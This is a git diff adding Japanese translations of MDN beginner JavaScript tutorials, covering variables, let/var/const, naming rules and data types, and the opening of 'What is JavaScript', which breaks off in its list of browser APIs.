+<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript って何?</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript への最初のダイブ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/What_went_wrong">何が間違っている? JavaScript のトラブルシューティング</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Variables">必要な情報を保存する — 変数</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Math">JavaScript での数学入門 — 数値と演算子について</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Strings">テキストを扱う — JavaScript での文字列</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods">便利な文字列メソッド</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Arrays">配列</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Silly_story_generator">評価: バカ話ジェネレーター</a></li> +</ul> diff --git a/files/ja/learn/javascript/first_steps/variables/index.html b/files/ja/learn/javascript/first_steps/variables/index.html new file mode 100644 index 0000000000..80c3c5af57 --- /dev/null +++ b/files/ja/learn/javascript/first_steps/variables/index.html @@ -0,0 +1,342 @@ +--- +title: 必要な情報を保存する — 変数 +slug: Learn/JavaScript/First_steps/Variables +tags: + - Arrays + - Booleans + - JavaScript + - Numbers + - Objects + - Updating + - Variables + - declaring + - initializing + - 'l10n:priority' + - loose typing + - strings +translation_of: Learn/JavaScript/First_steps/Variables +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">前回までの記事を読んで、高度な視点からその機能を概観し、JavaScript とは何なのか、それで何ができるのか、他の Web の技術とどう一緒に使うのか、そして、どのような機能があるのかが分かったのではないでしょうか。この記事では、本当の基本に立ち返り、JavaScript の基本的な構成要素である変数について見てみましょう。</p> + +<table class="learn-box"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターの知識、HTML と CSS の基本についての理解、JavaScript が何かが分かっていること。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>JavaScript の変数についての基礎を会得する。</td> + </tr> + </tbody> +</table> + +<h2 id="Tools_you_need" name="Tools_you_need">必要なツール</h2> + +<p>この記事を通じて、理解した内容を確認するために、コードを入力してもらうことがあるでしょう。デスクトップを使用しているのなら、JavaScript のサンプルコードを打ち込むのに最適なのはブラウザーの JavaScript コンソールでしょう(詳しくは<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">ブラウザーの開発者ツールとは</a>をご覧ください)。</p> + +<h2 id="What_is_a_variable" name="What_is_a_variable">変数とは</h2> + +<p>変数は値の入れものです。数を合計したり、ある文章の一部を格納するのに使用します。変数が特別なのは、変数が持っている値を変更できることにあります。ちょっと例を見てみましょう。</p> + +<pre class="brush: html notranslate"><button>押してください</button></pre> + +<pre class="brush: js notranslate">const button = document.querySelector('button'); + +button.onclick = function() { + let name = prompt('あなたの名前は何ですか？'); + alert('こんにちは、' + name + 'さん、初めまして！'); +}</pre> + +<p>{{ EmbedLiveSample('What_is_a_variable', '100%', 50, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>この例では、ボタンを押すとちょっとしたコードが走ります。最初の行では、ボタンを押した人の名前を入力するボックスが画面に表示されます。そして入力された値を変数に保存します。2行目では、入力した人の名前を変数から取り出して、あいさつのメッセージに含めています。</p> + +<p>なぜこれが便利なのかを理解するためには、変数を使用せずにこの例と同じことをするためにはどのようにすればよいのか考えてみましょう。恐らく次のようになるでしょう。</p> + +<pre class="example-bad notranslate">let name = prompt('あなたの名前は何ですか？'); + +if (name === 'アダム') { + alert('こんにちは、アダムさん初めまして！'); +} else if (name === 'アラン') { + alert('こんにちは、アランさん初めまして！'); +} else if (name === 'ベラ') { + alert('こんにちは、ベラさん初めまして！'); +} else if (name === 'ビアンカ') { + alert('こんにちは、ビアンカさん初めまして！'); +} else if (name === 'クリス') { + alert('こんにちは、クリスさん初めまして！'); +} + +// ... さらに続く ...</pre> + +<p>もしかしたら、まだ完全にはコードの内容がわからないかもしれませんね！けれども、変数がなければ、適切なメッセージを表示するために、どんな名前が入力されたのかを延々と判定し続ける巨大なコードを書かなければならないことが、何となくでもわかるのではないでしょうか。これはまったくもって非効率です(このコードは 5人の名前しか表示できないのに既に大きくなっています)。さらに、すべての状況に対応するようには書くことはできないでしょう。</p> + +<p>変数というのはとても合理的です。JavaScript に慣れていけばとても自然なものに感じられるでしょう。</p> + +<p>変数についてもう一つ特筆すべき点は、変数には文字列や数字だけでなく、何でも格納できるということです。複雑なデータや、すごいことをする関数全体ですら保持できます。先に進めばさらに理解できるようになるでしょう。</p> + +<div class="blockIndicator note"> +<p><strong>メモ</strong>: 変数に値を「格納する」と言っていますが、これは重要な区別です。変数は値を保持するもので、値そのものではありません。つまり値の箱です。物を入れる段ボール箱のようなものだと思ってください。</p> +</div> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13506/boxes.png" style="display: block; height: 436px; margin: 0px auto; width: 1052px;"></p> + +<h2 id="Declaring_a_variable" name="Declaring_a_variable">変数を宣言する</h2> + +<p>変数を使用するためには、まずは変数を作らなければなりません。より正確には、「宣言する」といいます。そのためには <code>var</code> または <code>let</code> キーワードに続けて変数名を書きます。</p> + +<pre class="brush: js notranslate">let myName; +let myAge;</pre> + +<p>ここでは 2 つの変数 <code>myName</code> と <code>myAge</code> を宣言しています。それではこの 2 つの行をブラウザーのコンソールに入力してみましょう。すぐ下のコンソールに入力することも可能です。続けて、好きな名前で変数を作ってみましょう。</p> + +<div class="note"> +<p><strong>注</strong>: JavaScript では、命令の行末ごとにセミコロン (<code>;</code>) を書かなければなりません。1行ずつ書いているうちは動くかもしれませんが、複数行を書き始めたら動かなくなってしまうでしょう。いつでもセミコロンを書くようにして、慣れていきましょう。</p> +</div> + +<p>今実行している環境に値が存在するかどうか、変数名を入力して確かめることができます。例えば、</p> + +<pre class="brush: js notranslate">myName; +myAge;</pre> + +<p>これらの変数は現在、値を保持しておらず、空です。変数の名前を入力すると、<code>undefined</code> という値が表示されるでしょう。もし変数自体が存在していない場合はエラーメッセージが表示されます。以下の変数を入力してみてください。</p> + +<pre class="brush: js notranslate">scoobyDoo;</pre> + +<div class="note"> +<p><strong>注</strong>: 変数が存在していて値がないのと、変数自体が存在していないことを混同しないでください。この違いは重要です。上記の箱の例えでは、変数自体が存在しないということは値の箱（変数）がないということとなります。値がないということは、箱は確かにあるけれどその中に値がないということです。</p> +</div> + +<h2 id="Initializing_a_variable" name="Initializing_a_variable">変数を初期化する</h2> + +<p>変数を宣言したら、値を入れて初期化できます。初期化するには、変数名に続けて等号記号 (<code>=</code>) を入力し、変数に入れたい値を渡します。例えば次のように。</p> + +<pre class="brush: js notranslate">myName = 'Chris'; +myAge = 37;</pre> + +<p>コンソールに戻って上の行を入力してみてください。コンソール上に、変数に設定した値がその都度戻ってくることが確認できるでしょう。先ほど言ったように、変数の名前をコンソールに入力することで、その値が確認できます。もう一度、やってみましょう。</p> + +<pre class="brush: js notranslate">myName; +myAge;</pre> + +<p>変数の宣言と初期化を一度にすることもできます。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> myDog <span class="operator token">=</span> <span class="string token">'Rover'</span><span class="punctuation token">;</span></code></pre> + +<p>2行で書くよりも簡単に書けるので、ほとんどの場合はこのように書くでしょう。</p> + +<h2 id="The_difference_between_var_and_let" name="The_difference_between_var_and_let">var と let の違い</h2> + +<p>ここまでで、「なぜ変数を定義するのに 2 つのキーワードが必要なのですか。なぜ <code>var</code> と<code> let</code> があるのでしょうか」と考えるかもしれません。</p> + +<p>その理由はやや歴史的なものです。JavaScript が最初に作成されたときには、<code>var</code> しかありませんでした。ほとんどの場合、基本的にはうまく機能しますが、その機能にはいくつかの問題があります。その設計は時々混乱したり、実に迷惑になることがあります。そこで、<code>let</code> を最新のバージョンの JavaScript で作成しました。これは、<code>var</code> とは多少異なる動作をする変数を作成するための新しいキーワードで、その過程での問題を修正しています。</p> + +<p>一部の簡単な違いを以下に説明します。ここではすべての違いについて説明するわけではありませんが、JavaScript について詳しく学習するにつれてそれらの違いがわかるようになります (今すぐ読みたい場合は、<a href="/ja/docs/Web/JavaScript/Reference/Statements/let">let のリファレンスページ</a>を参照してください)。</p> + +<p>はじめに、変数を宣言して初期化する複数行の JavaScript プログラムを作成した場合、変数を初期化した後で実際に変数を <code>var</code> で宣言することができます。例えば：</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">myName <span class="operator token">=</span> <span class="string token">'Chris'</span><span class="punctuation token">;</span> + +<span class="keyword token">function</span> <span class="function token">logName</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>myName<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="function token">logName</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="keyword token">var</span> myName<span class="punctuation token">;</span></code></pre> + +<div class="note"> +<p><strong>メモ</strong>: Web コンソールで複数行の JavaScript を実行しているときだけでは、JavaScript コンソールに 1行ずつ入力してもうまくいきません。</p> +</div> + +<p>これは<strong>巻き上げ</strong>のために動作します。件名に関する詳細については <a href="/ja/docs/Web/JavaScript/Reference/Statements/var#var_hoisting">var の巻き上げ</a>を読んでください。</p> + +<p>巻き上げはもはや <code>let</code> で動作しません。上記の例で var を let に変更すると、エラーで失敗します。これは良いことです - 変数を初期化した後に宣言すると混乱しやすくなり、コードを理解するのが難しくなります。</p> + +<p>第二に、<code>var</code> を使用するとき、好きなだけ同じ変数を何度でも宣言することができます、しかし <code>let</code> ではできません。次のようにします。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">var</span> myName <span class="operator token">=</span> <span class="string token">'Chris'</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> myName <span class="operator token">=</span> <span class="string token">'Bob'</span><span class="punctuation token">;</span></code></pre> + +<p>しかし、次のようにすると 2行目でエラーが発生します。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> myName <span class="operator token">=</span> <span class="string token">'Chris'</span><span class="punctuation token">;</span> +<span class="keyword token">let</span> myName <span class="operator token">=</span> <span class="string token">'Bob'</span><span class="punctuation token">;</span></code></pre> + +<p>代わりにこれをしなければならないでしょう：</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> myName <span class="operator token">=</span> <span class="string token">'Chris'</span><span class="punctuation token">;</span> +myName <span class="operator token">=</span> <span class="string token">'Bob'</span><span class="punctuation token">;</span></code></pre> + +<p>繰り返しますが、これは賢明な言語決定です。変数を再宣言する必要はありません。それは物事をより混乱させるだけです。</p> + +<p>これらの理由などから、コードでは <code>var</code> ではなく可能な限り <code>let</code> を使用することをお勧めします。コードで古いバージョンの Internet Explorer をサポートする必要がない限り、<code>var</code> を使用する理由はありません (バージョン 11 まで <code>let</code> をサポートしていません。最近の Windows Edge ブラウザーでは、<code>let</code> をサポートしています)。</p> + +<h2 id="Updating_a_variable" name="Updating_a_variable">変数の値を変更する</h2> + +<p>変数を初期化して値が入ったら、もう一度値を入れなおすことで、変数の値を変更することができます。次の行を入力してみてください。</p> + +<pre class="brush: js notranslate">myName = 'Bob'; +myAge = 40;</pre> + +<h3 id="An_aside_on_variable_naming_rules" name="An_aside_on_variable_naming_rules">変数の名前付けのルール</h3> + +<p>変数には制限はあるものの、大体どんな名前を付けることができます。ただし、一般的に、アルファベットと数字 (0-9, a-z, A-Z) やアンダースコアだけを使用すべきでしょう。</p> + +<ul> + <li>上記以外の文字を使用するのはやめましょう。環境によってはエラーとなったり、他の国の人々にとって理解しがたいものとなります。</li> + <li>変数名の先頭にアンダースコアは使用してはいけません。一部の JavaScript のコンストラクターにとっては特別な意味を持つため、問題となることがあります。</li> + <li>変数名の先頭に数字を使用してはいけません。これは JavaScript の文法エラーとなります。</li> + <li>複数の単語をつなげる場合は、<a href="https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms">"小文字始まりのキャメルケース"</a>と呼ばれる書き方に従いましょう。最初の単語を全て小文字で書いて、その後に続く単語の最初の文字を大文字にする記法です。この記事ではこの書き方を採用しています。</li> + <li>保持するデータを説明する、分かりやすい名前を付けましょう。1 つの文字・数字や、長すぎる命名はしないようにしましょう。</li> + <li>変数名は大文字・小文字を区別します。<code>myage</code> と <code>myAge</code> は違うものになります。</li> + <li>最後に、JavaScript の予約語 ( これは JavaScript の文法を構成する単語のことです) を変数名には付けないようにしましょう。<code>var</code>、<code>function</code>、<code>let</code>、<code>for</code> 等を変数名として使用することは出来ません。ブラウザーはそれを異なるように解釈し、結果としてエラーとなるでしょう。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: 避けるべき予約語の一覧は<a href="/ja/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">字句文法 — キーワード</a>で見つかるでしょう。</p> +</div> + +<p>良い名前の例：</p> + +<pre class="example-good notranslate">age +myAge +init +initialColor +finalOutputValue +audio1 +audio2</pre> + +<p>悪い名前の例：</p> + +<pre class="example-bad notranslate">1 +a +_12 +myage +MYAGE +var +Document +skjfndskjfnbdskjfb +thisisareallylongstupidvariablenameman</pre> + +<p>さらにいくつかの変数を作成してみましょう。上記の内容をしっかりと覚えてください。</p> + +<h2 id="Variable_types" name="Variable_types">変数のデータ型</h2> + +<p>変数に保持する値にはいくつかの種類があります。このセクションでは、その種類について簡単に解説します。さらに詳細については、もっと先の記事で紹介します。</p> + +<p>ここまで最初の 2 つは見てきましたが、他にもあります。</p> + +<h3 id="Numbers" name="Numbers">数値型</h3> + +<p>変数には数値を格納することができます。数値は 30 のような整数値や、2.456 のような実数値 (浮動小数点数とも呼ばれます ) が存在します。その他の言語とは違い、JavaScript ではデータ型を宣言する必要はありません。もし数値を変数に設定するならば、クォーテーションマークは付けてはいけません。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> myAge <span class="operator token">=</span> <span class="number token">17</span><span class="punctuation token">;</span></code></pre> + +<h3 id="Strings" name="Strings">文字列型</h3> + +<p>文字列とは文字が連なったもののことです。変数に文字列値を設定する場合、シングルクォーテーション (<code>'</code>) またはダブルクォーテーション (<code>"</code>) で文字を囲みます。囲み忘れると、JavaScript はその文字を変数名として解釈しようとしてしまいます。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> dolphinGoodbye <span class="operator token">=</span> <span class="string token">'So long and thanks for all the fish'</span><span class="punctuation token">;</span></code></pre> + +<h3 id="Booleans" name="Booleans">真偽値</h3> + +<p>真偽値は <code>true</code> と <code>false</code> の二つの値だけを持ちます。どちらのコードを実行するべきかといった、条件を判定するためによく使います。例として、簡単なコードは以下のようなものです。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> iAmAlive <span class="operator token">=</span> <span class="boolean token">true</span><span class="punctuation token">;</span></code></pre> + +<p>実際には以下のように使われます。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> test <span class="operator token">=</span> <span class="number token">6</span> <span class="operator token"><</span> <span class="number token">3</span><span class="punctuation token">;</span></code></pre> + +<p>これは「小なり」演算子 (<code><</code>) を使用して 6 が 3 より小さいかどうかを判定しています。想像の通り、6 は 3 より小さくないためにこれは <code>false</code> となります。このような演算子はまた今度じっくりと紹介します。</p> + +<h3 id="Arrays" name="Arrays">配列</h3> + +<p>配列とは角括弧 (<code>[]</code>) にカンマで区切った複数の値を格納できるオブジェクトです。コンソールに以下のように入力してみましょう。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> myNameArray <span class="operator token">=</span> <span class="punctuation token">[</span><span class="string token">'Chris'</span><span class="punctuation token">,</span> <span class="string token">'Bob'</span><span class="punctuation token">,</span> <span class="string token">'Jim'</span><span class="punctuation token">]</span><span class="punctuation token">;</span> +<span class="keyword token">let</span> myNumberArray <span class="operator token">=</span> <span class="punctuation token">[</span><span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">15</span><span class="punctuation token">,</span> <span class="number token">40</span><span class="punctuation token">]</span><span class="punctuation token">;</span></code></pre> + +<p>配列を宣言したら、配列中の位置を指定することで、その値にアクセスすることができます。次のように入力してみましょう。</p> + +<pre class="brush: js notranslate">myNameArray[0]; // 'クリス'と表示されます +myNumberArray[2]; // 40 と表示されます</pre> + +<p>角括弧で表示したい値の位置に応じたインデックス値を指定します。気づいたかもしれませんが JavaScript の配列は 0 始まりで、最初の要素のインデックスが 0 となります。</p> + +<p>配列についても<a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Arrays">先の記事</a>にて紹介します。</p> + +<h3 id="Objects" name="Objects">オブジェクト</h3> + +<p>プログラミングにおいて、オブジェクトとは現実のもの(オブジェクト)をモデルとしたコードの構造です。幅と長さについての情報をもつ駐車場を表す単純なオブジェクトもあれば、名前や身長、体重、話す言葉やあいさつもすることもできる、人を表すオブジェクトも作ることができます。</p> + +<p>次の行をコンソールに入力してみましょう。</p> + +<pre class="brush: js notranslate">let dog = { name : 'ポチ', breed : 'ダルメシアン' };</pre> + +<p>オブジェクトに格納された情報を取得するには、以下のような書き方をします。</p> + +<pre class="brush: js notranslate">dog.name</pre> + +<p>とりあえずオブジェクトについて、今はここまでです。オブジェクトについてはもっと先のモジュールで紹介します。</p> + +<h2 id="Loose_typing" name="Loose_typing">動的型付け</h2> + +<p>JavaScript は他の言語と異なり、「動的型付け言語」という、格納するデータ型 (数値や文字列や配列など ) を変数に対して指定する必要のない言語です。</p> + +<p>たとえば、もし変数を宣言して、クォーテーションマークで囲んだ値を渡すとします。すると、ブラウザーはこれを文字列として扱うでしょう。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> myString <span class="operator token">=</span> <span class="string token">'Hello'</span><span class="punctuation token">;</span></code></pre> + +<p>それが数字を含んでいたとしても、文字列になってしまうので、気を付けてください。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> myNumber <span class="operator token">=</span> <span class="string token">'500'</span><span class="punctuation token">;</span> <span class="comment token">// oops, this is still a string</span> +<span class="keyword token">typeof</span> myNumber<span class="punctuation token">;</span> +myNumber <span class="operator token">=</span> <span class="number token">500</span><span class="punctuation token">;</span> <span class="comment token">// much better — now this is a number</span> +<span class="keyword token">typeof</span> myNumber<span class="punctuation token">;</span></code></pre> + +<p>上の 4行をコンソールに一つづつ入力して、結果を見てみてください。<code><a href="/ja/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code> という演算子に気づきましたか？これは渡した変数のその時点でのデータ型を返します。最初に使用したとき、<code>myNumber</code> には <code>'500'</code> という文字列が入っているため、<code>string</code> と返ってきます。2 回目に呼んだときに何が返ってくるかを見てみましょう。</p> + +<h2 id="Constants_in_JavaScript" name="Constants_in_JavaScript">JavaScript の定数</h2> + +<p>多くのプログラミング言語は定数の概念を持っています — 一度宣言されると変更できない値です。セキュリティ (サードパーティのスクリプトによってこのような値が変更された場合に問題が発生する可能性がある) からデバッグやコードの理解 (変更してはいけない値を誤って変更して混乱する) まで、実行するさまざまな理由があります。</p> + +<p>JavaScript の初期の頃は、定数は存在しませんでした。現代の JavaScript では、<code>const</code> というキーワードがあります。これにより、絶対に変更できない値を格納できます。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">const</span> daysInWeek <span class="operator token">=</span> <span class="number token">7</span><span class="punctuation token">;</span> +<span class="keyword token">const</span> hoursInDay <span class="operator token">=</span> <span class="number token">24</span><span class="punctuation token">;</span></code></pre> + +<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-number"><code>const</code></span></span></span></span> は <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-number"><code>let</code></span></span></span></span> と全く同じように動作しますが、<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-number"><code>const</code></span></span></span></span> に新しい値を与えることはできません。次の例では、2行目でエラーが発生します。</p> + +<pre class="brush: js notranslate"><code class="language-js"><span class="keyword token">const</span> daysInWeek <span class="operator token">=</span> <span class="number token">7</span><span class="punctuation token">;</span> +daysInWeek <span class="operator token">=</span> </code><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-number">8;</span></span></span></span></pre> + +<h2 id="スキルをテストしよう!">スキルをテストしよう!</h2> + +<p>この記事の最後に到達しましたが、最も大事な情報を覚えていますか？移動する前に、情報を取得したかのテストを見ることができます — <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Test_your_skills:_variables">Test your skills: variables</a> を見てください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>ここまでで JavaScript の変数の作り方について理解して、それ以外にもそれなりの知識を得ましたね。次の記事では、数値に焦点を当てて、JavaScript の数値計算の基礎について見ていきます。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript って何?</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript への最初のダイブ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/What_went_wrong">何が間違っている? JavaScript のトラブルシューティング</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Variables">必要な情報を保存する — 変数</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Math">JavaScript での数学入門 — 数値と演算子について</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Strings">テキストを扱う — JavaScript での文字列</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods">便利な文字列メソッド</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Arrays">配列</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Silly_story_generator">評価: バカ話ジェネレーター</a></li> +</ul> diff --git a/files/ja/learn/javascript/first_steps/what_is_javascript/index.html b/files/ja/learn/javascript/first_steps/what_is_javascript/index.html new file mode 100644 index 0000000000..4dc00a10e4 --- /dev/null +++ b/files/ja/learn/javascript/first_steps/what_is_javascript/index.html @@ -0,0 +1,434 @@ +--- +title: JavaScript とは +slug: Learn/JavaScript/First_steps/What_is_JavaScript +tags: + - 3rd party + - API + - Article + - Beginner + - Browser + - CodingScripting + - Core + - JavaScript + - Learn + - Script + - comments + - external + - inline + - 'l10n:priority' + - what +translation_of: Learn/JavaScript/First_steps/What_is_JavaScript +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">MDN 初心者向け JavaScript コースへようこそ！ この最初の記事では、高水準から JavaScript を見ていき、「JavaScript とは何か？」「これを使うと何ができるか？」などの質問に答えます。JavaScript の用途にきっちりと親しめるようになります。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的なコンピューターリテラシー、HTML および CSS の基本的な理解。</td> + </tr> + <tr> + <th scope="row">到達目標:</th> + <td>JavaScript とは何か、何ができるか、どのようにウェブサイトに適用できるかについて親しむ。</td> + </tr> + </tbody> +</table> + +<h2 id="高水準の定義">高水準の定義</h2> + +<p>JavaScript はウェブページにて複雑な機能をできるようにするプログラミング言語です —ウェブページが読み込まれるたびに、単にあなたが見ている静的な情報を表示する以上のことをしています— 更新されたコンテンツの定期表示や、インタラクティブな地図や、2D/3D グラフィックのアニメーションや、ビデオジュークボックスのスクロールなど — たぶん JavaScript が組み込まれています。ウェブ技術をケーキだとするとこれは 3 つ目の層で、他の 2 つ (<a href="/ja/docs/Learn/HTML">HTML</a> と <a href="/ja/docs/Learn/CSS">CSS</a>) は学習エリアの他の部分でもっと詳しく扱ってきました。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13502/cake.png" style="display: block; margin: 0 auto;"></p> + +<ul> + <li>{{glossary("HTML")}} はマークアップ言語で、これを使ってウェブコンテンツに構造と意味を与えます。例えば段落や見出しや表を定義したり、ページに画像や動画を入れたりします。</li> + <li>{{glossary("CSS")}} は HTML コンテンツに適用するスタイリング規則の言語です。例えば背景とフォントの色を設定したり、複数カラムにコンテンツをレイアウトしたりします。</li> + <li>{{glossary("JavaScript")}} は動的にコンテンツを更新したり、マルチメディアを管理したり、その他多くのことができるスクリプト言語です。(ええ、すべてできるわけではないですが、JavaScript の数行でできることは素晴らしいです。)</li> +</ul> + +<p>この 3 層は素晴らしい構成です。例としてシンプルなテキストラベルを見てみます。HTML を使って構造と意図をマークアップできます:</p> + +<pre class="brush: html notranslate"><p>Player 1: Chris</p></pre> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13422/just-html.png" style="height: 28px; width: 108px;"></p> + +<p>次に、CSS を加えて、見栄えをよくします:</p> + +<pre class="brush: css notranslate">p { + font-family: 'helvetica neue', helvetica, sans-serif; + letter-spacing: 1px; + text-transform: uppercase; + text-align: center; + border: 2px solid rgba(0,0,200,0.6); + background: rgba(0,0,200,0.3); + color: rgba(0,0,200,0.6); + box-shadow: 1px 1px 2px rgba(0,0,200,0.4); + border-radius: 10px; + padding: 3px 10px; + display: inline-block; + cursor: pointer; +}</pre> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13424/html-and-css.png" style="height: 48px; width: 187px;"></p> + +<p>最後に、JavaScript を加えて動的なふるまいを実装します:</p> + +<pre class="brush: js notranslate">const para = document.querySelector('p'); + +para.addEventListener('click', updateName); + +function updateName() { + let name = prompt('名前を入力して下さい'); + para.textContent = 'Player 1: ' + name; +} +</pre> + +<p>{{ EmbedLiveSample('A_high-level_definition', '100%', 80, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>テキストラベルの最新バージョンをクリックしてみて、何が起きるのか見てみます (このデモは GitHub でも見られます— <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/javascript-label.html">ソースコード</a>または<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/javascript-label.html">ライブ実行</a>を参照してください)。</p> + +<p>JavaScript はそれ以上のことができます — もっと詳しく見てみましょう。</p> + +<h2 id="So_what_can_it_really_do" name="So_what_can_it_really_do">実際に何ができるのか</h2> + +<p>JavaScript は次のことを実現する一般的なプログラミング機能で構成されています。</p> + +<ul> + <li>有用な値を変数に格納する。上の例では、ユーザーに新しい名前を問いかけて、<code>name</code> と名付けられた変数に入力された新しい名前を格納しています。</li> + <li>連なった文字 (プログラミングでは「文字列」と呼ばれます) に対する操作。上の例では「Player 1: 」という文字列と <code>name</code> 変数を繋げて「Player 1: Chris」というような新しいラベルを生成しています。</li> + <li>ウェブページで起きる事柄に対処する。先ほどの例では {{Event("click")}} イベントを使用して、ボタンがクリックされたことを検出し、ラベルを更新するコードを実行しました。</li> + <li>他にもたくさんのことができます！</li> +</ul> + +<p>さらにワクワクするのは、JavaScript からすぐに使えるように構築されている機能です。それは <strong>Application Programming Interface</strong> (<strong>API</strong>) と呼ばれ、JavaScript のコードにさらなる強力な力を与えてくれることでしょう。</p> + +<p>API がなければ難しかったり、不可能であるようなコードを、すぐに使えるブロックのように、開発者がプログラムを作ることを可能にします。家を作るときの既製の家具と同じことを、プログラミングでしてくれるのです。自分で設計し、使用する木材を選定し、正しい形で板を切り出して、正しいサイズのネジを見つけて、自分で組み立てるよりも、既に切り出されたボードとネジを使って本棚を組み立てるだけの方がずっと簡単ですよね。</p> + +<p>API は大まかに 2種類に分けられます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13508/browser.png" style="display: block; height: 511px; margin: 0px auto; width: 815px;"></p> + +<p><strong>ブラウザー API </strong>はウェブブラウザーに組み込まれていて、コンピューターを取り巻く環境からデータを取り出したり、複雑で便利なことをしてくれたりします。例えば、</p> + +<ul> + <li>{{domxref("Document_Object_Model","DOM (Document Object Model) API")}} は HTML と CSS の操作を可能とします。HTML を生成し、削除し、変更し、動的にページの見た目を変更することなどが可能です。もし (先ほどの簡単な例で見たように) ページ内でポップアップウィンドウを見たり、新しいコンテンツが表示されたりしたのなら、DOM が使用されていることでしょう。</li> + <li>{{domxref("Geolocation","Geolocation API")}} は地理的な情報を取得します。これは <a href="https://www.google.com/maps">Google マップ</a>があなたの所在地を見つけて地図上にプロットする場合に使用されています。</li> + <li>{{domxref("Canvas_API","Canvas")}} と {{domxref("WebGL_API","WebGL")}} の API は 2D や 3D グラフィックでのアニメーションを可能とします。このウェブ技術を使用してすごいことをやってのける人たちがいます。<a href="https://www.chromeexperiments.com/webgl">Chrome Experiments</a> や <a 